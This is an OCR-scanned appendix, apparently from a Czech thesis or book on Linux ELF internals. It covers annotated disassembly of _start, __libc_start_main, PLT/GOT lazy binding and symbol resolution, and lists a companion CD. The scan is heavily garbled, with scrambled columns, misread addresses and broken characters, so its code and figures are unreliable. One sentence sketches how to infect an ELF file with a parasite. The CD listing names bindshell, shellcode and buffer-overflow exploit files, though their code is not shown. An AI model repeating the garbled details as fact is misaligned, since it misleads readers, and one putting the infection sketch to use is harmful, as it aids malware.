0x8048313 <_start+3>: mov  %esp,%ecx I*
0x8048315 < _start+5>: and $OXfffffff0,%esp  /*
0x8048318 <_start+8>: push  %eax I*

/*
[* Zatiname ukladat parametry funkce __libc_start_main
0x8048319 <_start+9>: push  %esp I*
0x80483la <_start+10>: push  %edx I*
/*
/*
/*
/*
/*
/*

0x804831b <_start+11>:
0x8048320 <_start+16>:
0x8048325 <_start+21>:
0x8048326 <_start+22>:
0x8048327 <_start+23>:
0x804832c <_start+28>:
0x8048331 <_start+33>:
0x8048332 <_start+34>:

push
push
push
push
push
cal

hit

mov

$0x8048450
$0x8048298
%0ecx

%esi
$0x80483f0

/*

%esi,%es I*

argc */

esp na pozci uloZzeného argc podle obrézku A.3 */
argv */

Uprava pozice */

NULL */

eax nastaveno jadrem - makro ELF_PLAT_INIT */
*/

stack_end*/

adresa funkce _rtld_fini - ukonteni RTLD */

edx nastavil RTLD */

navesti _fini v sekci .fini */

navesti _init v sekci .init */

argv */

argvc */

adresa funkce main() */

10

0x80482f0 <__libc_start_main>

konec v pripadé selhani __libc_start_main */
2B vyplné */

Prototyp funkce __libc_start_main() vypada takto.

extern int BP_SYM (__libc_start_main) (int (*main) (int, char **, char **),

int argc,

char *__unbounded *__unbounded ubp_av,
void (*init) (void),

void (*fini) (void),

void (*rtld_fini) (void),

void *__unbounded stack_end)

__attribute__ ((noreturn));

Dllezite okamziky v __libc_start_main()

__pthread_initialize minimal ();

Inicializace viaken

__cxaatexit ((void (*) (void *)) rtld_fini, NULL, NULL);

Registrace destruktoru RTLD

—cxadexit ((void (*) (void *)) fini, NULL, NULL);

Registrace destruktoru programu

fini: ->__do_global_dtors_auix()
-> deregister_frame_info();
(*init) (); Rizeni pfedano do sekce .init
Janit: call_gmon_start();

->frame_dummy()
-> __register_frame_info();
-> __do_global _ctors_aux();

exit ((*main) (argc, argv, __environ));

\olani funkce main().
__environ vypocCteno ze znalosti argc a argv

Xi



A.3 Prubéh dynamického linkovani

Kazda jedinetna dynamicky linkovana funkce, kterou program pouziva, ma svillj zaznam v tabulce
PLT (Procedure Linkage Table) v sekci .plt. Pravé adresa tohoto zaznamu je operandem instrukce call
V programu.

[* PFiklad absolutni tabulky PLT */

.PLTO pushl GOT_+_4 /* Druha poloza tabulky GOT */
jmp *GOT_+8  /* Treti polozka tabulky GOT */
nop; nop
nop; nop

PLTL: jmp *namel_entry_in_GOT
pushl $namel_symbol _offset
jmp .PLTO@PC /* Relativni skok vii&i EIP */
10
.PLT2  jmp *name2_entry_in_GOT
pushl $name2_symbol _offset
jmp .PLTO@PC

[* Priklad tabulky PLT pro pozi¢né nezavidy kod
* registr ebx obsahuje adresu tabulky GOT */
.PLTO pushl  4(%ebx)
jmp *8(%ebx)
nop; nop;
nop; nop; 20

PLT1L:  jmp *namel_entry(%ebx)
pushl $namel_symbol _offset
jmp .PLTO@PC

.PLT2:  jmp *name2_entry(%ebx)
pushl $name2_symbol _offset
jmp .PLT@PC

Operandy nékterych instrukci z tabulky PLT jsou polozky tabulky GOT (Globa Offset Table).
Struktura tabulky GOT je nadledujici.

Cido polozky | Obsah

adresa sekce .dynamic

ukazatel na strukturu link_map udrzovanou RTLD
adresa funkce _dl_runtime_resolve() RTLD
adresa funkce namel

adresa funkce name2

a b wnNPEF O

Pfi prvnim volani napf. funkce namel je v tabulce GOT misto skutetné adresy funkce ulozena
adresa nasledujici instrukce v prislusné sekci PLT. Na zasobnik se uloZi index do relokatni tabulky
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(sekce .rel.plt) k funkci namel. Provede se skok na navésti .PLTO. Na zasobnik se uloZi ukazatel na
strukturu link_map, kterou RTLD pouziva. Nadeduje zavolani funkce _dl runtime_resolve().

_dl_runtime_resolve() s ze zasobniku vybere index do relokacni tabulky. Z polozky r _info relokac-
niho zaznamu ziskaindex funkce namel v tabul ce dynamickych symbol i (sekce .dynsym). V zaznamu
tabulky dynamickych symboll poloZzka st_name udava index do tabulky Fetézcl (sekce .dynstr), ze
které zjistime jméno pozadované funkce — napfr. " printf”.

RTLD nyni zna nézev funkce, jgiz adresu musi vyhledat v knihovnach zavedenych do paméti.
Pomoci HASH tabulky (sekce .hash) zjisti index do tabulky dynamickych symboll (sekce .dynsym).
Prislusna polozka st_value zaznamu obsahuje skutetnou adresu funkce v paméti. Tato adresa je
vypoctena pfi zavedeni knihovny do paméti. Nejdfive obsahuje offset funkce v souboru (sdilené
knihovny). Po zavedeni do paméti RTLD k tomuto offsetu pricte adresu, na kterou se knihovnu
podaFilo zavést.

Ziskanou skutecnou adresu funkce nyni RTLD volanim fixup() zapise do tabulky GOT procesul.
Adresu do tabulky GOT ziskaRTLD z polozky r _offset rel okatniho zaznamu. Pfi dalSim volani funkce
namel jiz instrukce PLT zéznamu vyberou z tabulky GOT jeji skuteCnou adresu. Nejlépe vSe objasni
obréazek A 4.

Pokud s aplikace nemiize dovolit, aby vzdy prvni volani funkce bylo zpozdéno (oznatujeme
jako Lazy Binding) o resolvaci symbolu s relokaci, je mozné situaci zmeénit. Nenulova hodnota
promeénné prostfedi L D_BIND_NOW zaru€i, ze RTLD umisti do tabulky GOT spravné adresy jesté
pfed predanim fizeni na navésti _start.

A.4 Souhrnévlastnosti

Formét ELF byl navrZzen s ohledem na co nejvétsi rychlost zavedeni do paméti. Specifikace formatu
je primocara, definovana pro mnoho architektur a mezi vyvojafi oblibena. Za nevyhodu miizeme
povazovat, Ze neni podporovana Zadna formakomprese ani enkrypce. Formét dokonce neobsahuje ani
kontrolni soucty. Pfipadna virova nakazaje velmi snadna. Sta€i do souboru vlozit télo parazita, zménit
adresu vstupniho bodu a posunout adresy jednotlivych sekci v tabulce hlaviek sekci. V porovnani
s forméatem PE firmy Microsoft |ze také fici, ze systém dynamického linkovani je navrzen snad az
prilis robustné.

Zajimaveé prace ohledné virli pro forméat ELF alinuxové systemy |ze nalézt v [11], [12]. Naformé
parazitniho kodu je zalozen i kompresni program UPX L.

http://upx.sourceforge.net/
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call 0x0848300 <printf>

0x80482¢0:  pushl 0x8049570
0x80482c6:  jmp *0x8049574

.plt_prinft 0x8048300: jmp *0x8049584

\ 0x8048306: Pushl $0x18
! 0x804830b: Jmp 0x80482c0

0x400097b0: <_dI_runtime_resolve>

.got0 :  0x804956c:  0x08049494 Na adresu 0x8049584 zapis

.gotl ,': 0x8049570:  0x40013678 hodnotu 0x4006a38¢c
.got2 :  0x8049574: 0x400097h0 jmp 0x4006a38¢ /
. . — ret

7 .dotX 0x8049584: 0x08048306

RTLD

Relokaeni tabulka Tabulka symbold Tabulka fetézct
e = —
___________ st_name: — |
r_offset: 0x8049584 e o ... printf ...
r_info: 407 —— > Symbol4 UL
"""""""" Typ 7 <R_386_JMP_SLOT>
zdznam ¢. 0x18 — zdznam ¢. 0x4
Program
Hash tabulka Tabulka symbold

L ...=elf_hash("printf")

Obrazek A.4: Resolvace symbolu arelokace
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Obsah prilozeneho CD ROM disku

Kapitola 3:
hellol hellol.s
hello2 hello2.s
hello3.s
rozsirasm2 rozsirasmz2.c
Kapitola 4:
antidebugl antidebugl.c
antidebug? antidebug2.c
antidebug3 antidebug3.c
antidebug4 antidebug4.c
K apitola 6:
bindshell bindshell.c
osspansh osspansh.s
shellkod1 shellkodl.c
shellkod?2 shellkod2.c
shellkod3 shellkod3.c
shellkod4 shellkod4.c
shellkod5 shellkod5.c
Kapitola 7:
bufferl bufferl.c
buffer2 buffer2.c
buffer3 buffer3.c
buffer4 bufferd.c

construct-destruct  construct-destruct.c
exploit-buffer2 exploit-buffer2.c
exploit-buffer3 exploit-buffer3.c
exploit-buffer4 exploit-bufferd.c

K apitola 8:

exploit-string4 exploit-string4.c
stringl stringl.c

string2 string2.c

string3 string3.c

string4 string4.c
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